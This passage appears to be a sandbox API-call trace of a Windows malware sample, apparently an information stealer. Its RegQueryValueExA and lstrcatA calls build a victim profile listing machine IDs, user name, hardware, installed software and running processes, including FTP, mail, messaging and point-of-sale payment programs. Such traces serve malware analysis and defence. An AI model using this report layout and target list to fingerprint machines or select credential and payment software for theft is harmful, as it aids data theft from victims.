Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030"
[0054.978] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="11.0.61030", lpcbData=0x1816c0*=0xb) returned 0x0
[0054.978] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 ["
[0054.978] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [", lpString2="11.0.61030" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe 